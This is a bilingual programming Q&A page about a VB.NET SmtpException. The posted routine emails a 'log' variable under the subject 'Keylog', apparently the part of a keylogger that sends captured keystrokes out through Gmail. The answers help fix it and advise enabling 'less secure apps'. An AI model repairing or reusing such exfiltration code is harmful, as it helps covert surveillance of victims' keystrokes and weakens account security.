在vb.net中发送电子邮件 [英] sending email in vb.net

问题描述

Private Sub sendmail()
      Dim Mail As New MailMessage
      Mail.Subject = "Keylog"
      Mail.To.Add("[e-mail]")
      Mail.From = New MailAddress("[e-mail]")
      Mail.Body = log
      Dim SMTP As New SmtpClient("smtp.gmail.com")
      SMTP.EnableSsl = True
      SMTP.Credentials = New System.Net.NetworkCredential("[e-mail]", "XXXXXXXX")
      SMTP.Port = 587
      SMTP.Send(Mail)
  End Sub

这会导致错误：System.dll

This results in the error:An unhandled exception of type 'System.Net.Mail.SmtpException' occurred in System.dll

推荐答案

请参阅我之前的回答 - 从asp.net发送电子邮件到gmail [ ^ ]。



我认为你遗失客户.UseDefaultCredentials = false;


如果它仍然不起作用，请检查内部异常以获取有关该问题的更多详细信息。

See my previous answer - sending email to gmail from asp.net[^].

I think you are missing client.UseDefaultCredentials = false;

If it still does not work, check the inner exception for more details about the issue.

应该去谷歌帐户关闭应用程序安全性以便工作此代码



转到

设置>帐户和导入>其他Google帐户设置>允许不太安全的应用：ON

should go to google account switch off app security for work this code

go to
Settings > Accounts and Import > Other Google Account settings > Allow less secure apps: ON

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